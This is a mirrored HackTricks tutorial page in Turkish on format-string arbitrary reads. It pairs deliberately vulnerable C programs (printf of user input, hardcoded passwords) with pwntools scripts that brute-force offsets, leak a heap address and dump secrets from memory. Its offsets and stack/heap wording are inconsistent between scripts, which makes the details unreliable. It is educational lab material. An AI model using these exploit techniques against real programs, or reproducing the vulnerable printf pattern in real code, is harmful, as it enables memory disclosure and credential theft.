mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
169 lines
4.8 KiB
Markdown
169 lines
4.8 KiB
Markdown
# Format Strings - Arbitrary Read Example
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## İkili Okuma Başlangıcı
|
||
|
||
### Kod
|
||
```c
|
||
#include <stdio.h>
|
||
|
||
int main(void) {
|
||
char buffer[30];
|
||
|
||
fgets(buffer, sizeof(buffer), stdin);
|
||
|
||
printf(buffer);
|
||
return 0;
|
||
}
|
||
```
|
||
Bunu ile derleyin:
|
||
```python
|
||
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
||
```
|
||
### Sömürü
|
||
```python
|
||
from pwn import *
|
||
|
||
p = process('./fs-read')
|
||
|
||
payload = f"%11$s|||||".encode()
|
||
payload += p64(0x00400000)
|
||
|
||
p.sendline(payload)
|
||
log.info(p.clean())
|
||
```
|
||
- **offset 11'dir** çünkü birkaç A ayarlamak ve **brute-forcing** ile 0'dan 50'ye kadar döngü ile yapılan testler, 11. offsette ve 5 ekstra karakterle (bizim durumumuzda `|` boruları) tam bir adresi kontrol etmenin mümkün olduğunu buldu.
|
||
- Adresin tamamının 0x4141414141414141 olması için **`%11$p`** kullandım ve padding ekledim.
|
||
- **format string yükü adresin ÖNÜNDEDİR** çünkü **printf bir null byte'ta okumayı durdurur**, bu nedenle adresi gönderirsek ve ardından format string'i gönderirsek, printf format string'e ulaşamaz çünkü bir null byte önce bulunacaktır.
|
||
- Seçilen adres 0x00400000'dır çünkü binary'nin başladığı yerdir (PIE yoktur).
|
||
|
||
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
||
|
||
## Şifreleri oku
|
||
```c
|
||
#include <stdio.h>
|
||
#include <string.h>
|
||
|
||
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
|
||
|
||
int main() {
|
||
char stack_password[20] = "secretStackPass"; // Password in stack
|
||
char input1[20], input2[20];
|
||
|
||
printf("Enter first password: ");
|
||
scanf("%19s", input1);
|
||
|
||
printf("Enter second password: ");
|
||
scanf("%19s", input2);
|
||
|
||
// Vulnerable printf
|
||
printf(input1);
|
||
printf("\n");
|
||
|
||
// Check both passwords
|
||
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
|
||
printf("Access Granted.\n");
|
||
} else {
|
||
printf("Access Denied.\n");
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
Bunu ile derleyin:
|
||
```bash
|
||
clang -o fs-read fs-read.c -Wno-format-security
|
||
```
|
||
### Yığın'dan Okuma
|
||
|
||
**`stack_password`** yığında saklanacak çünkü bu bir yerel değişken, bu yüzden yığının içeriğini göstermek için printf'i kötüye kullanmak yeterlidir. Bu, yığından şifreleri sızdırmak için ilk 100 konumu BF'lemek için bir istismardır:
|
||
```python
|
||
from pwn import *
|
||
|
||
for i in range(100):
|
||
print(f"Try: {i}")
|
||
payload = f"%{i}$s\na".encode()
|
||
p = process("./fs-read")
|
||
p.sendline(payload)
|
||
output = p.clean()
|
||
print(output)
|
||
p.close()
|
||
```
|
||
Görüntüde, `10.` pozisyondan yığını kullanarak şifreyi sızdırabileceğimiz görülmektedir:
|
||
|
||
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
|
||
|
||
### Verileri oku
|
||
|
||
Aynı istismarı `%s` yerine `%p` ile çalıştırarak, yığın üzerinden `%25$p` adresinde bir yığın adresi sızdırmak mümkündür. Ayrıca, sızdırılan adresi (`0xaaaab7030894`) o süreçte bellek içindeki şifrenin pozisyonu ile karşılaştırarak adresler arasındaki farkı elde edebiliriz:
|
||
|
||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||
|
||
Artık, ikinci format dizesi zafiyetinden erişmek için yığında 1 adresi nasıl kontrol edeceğimizi bulma zamanı:
|
||
```python
|
||
from pwn import *
|
||
|
||
def leak_heap(p):
|
||
p.sendlineafter(b"first password:", b"%5$p")
|
||
p.recvline()
|
||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||
return int(response, 16)
|
||
|
||
for i in range(30):
|
||
p = process("./fs-read")
|
||
|
||
heap_leak_addr = leak_heap(p)
|
||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||
|
||
password_addr = heap_leak_addr - 0x126a
|
||
|
||
print(f"Try: {i}")
|
||
payload = f"%{i}$p|||".encode()
|
||
payload += b"AAAAAAAA"
|
||
|
||
p.sendline(payload)
|
||
output = p.clean()
|
||
print(output.decode("utf-8"))
|
||
p.close()
|
||
```
|
||
Ve kullanılan geçişle **try 14**'te bir adresi kontrol edebildiğimizi görebiliriz:
|
||
|
||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||
|
||
### Exploit
|
||
```python
|
||
from pwn import *
|
||
|
||
p = process("./fs-read")
|
||
|
||
def leak_heap(p):
|
||
# At offset 25 there is a heap leak
|
||
p.sendlineafter(b"first password:", b"%25$p")
|
||
p.recvline()
|
||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||
return int(response, 16)
|
||
|
||
heap_leak_addr = leak_heap(p)
|
||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||
|
||
# Offset calculated from the leaked position to the possition of the pass in memory
|
||
password_addr = heap_leak_addr + 0x1f7bc
|
||
|
||
print(f"Calculated address is: {hex(password_addr)}")
|
||
|
||
# At offset 14 we can control the addres, so use %s to read the string from that address
|
||
payload = f"%14$s|||".encode()
|
||
payload += p64(password_addr)
|
||
|
||
p.sendline(payload)
|
||
output = p.clean()
|
||
print(output)
|
||
p.close()
|
||
```
|
||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|